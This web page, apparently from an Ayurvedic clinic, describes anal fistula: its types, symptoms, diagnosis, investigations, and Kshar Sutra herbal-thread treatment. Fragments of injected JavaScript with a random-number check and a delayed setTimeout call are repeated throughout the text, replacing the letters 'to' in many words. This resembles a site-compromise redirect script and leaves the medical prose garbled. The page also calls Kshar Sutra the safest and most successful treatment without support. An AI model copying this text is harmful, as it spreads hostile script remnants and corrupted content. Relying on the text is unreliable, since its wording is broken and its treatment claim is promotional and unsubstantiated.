Fistula in ano / Bhagandar –
Fistula in ano is a chronic inflammadom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory condition characterised by tubuler structure.
Classical fistula has two openings one internally in ano rectal canal while another externally on the surface of perianal skin.
Anal fistulae originate from anal glands which are located between the two layers of anal sphincters and which drain indom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the anal canal. If the outlet of these glands become blocked an abscess can form which can eventually point dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the skin surface. The track formed by this process is called fistula.
Anal fistulas do not generally harm but can be irritating because of the pus drain.
Types –
- Low level
- – Subcutaneous
- – Sub mucous
- – Low anal
- High level
- – High anal
- – Pelvi rectal
Sympdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toms –
– Pain,
– Discharge either bloody or purulent,
– Pruritus ani – Itching at anal opening,
– Systemic sympdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toms like fever if abscess becomes infected.
Diagnosis is by examination, either in an outpatient setting or under anaesthesia (referred dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to as EUA — Examination Under Anaesthesia). The examination can be ananoscopy.
Possible findings –
– The opening of the fistula ondom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the skin may be seen,
– The area may be painful on examination.
Investigations –
– Probing,
– Fistulogram,
– Procdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toscopy & sigmoidoscopy.
Treatment – Kshar sutra Treatment – Ayurveda the ancient science of Indian medicine, describes Herbal Sedom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons made from various Salts and Alkaline Herbs used dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cure anal fistulae. This treatment, known as “Kshar Sutra Therapy” is very popular in India and considered dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be the Safest and the Most Successful treatment of Anal Fistula.
Quick Links –
– Piles
– Fissure
– Fistula
– Pilonidal Sinus
– Constipation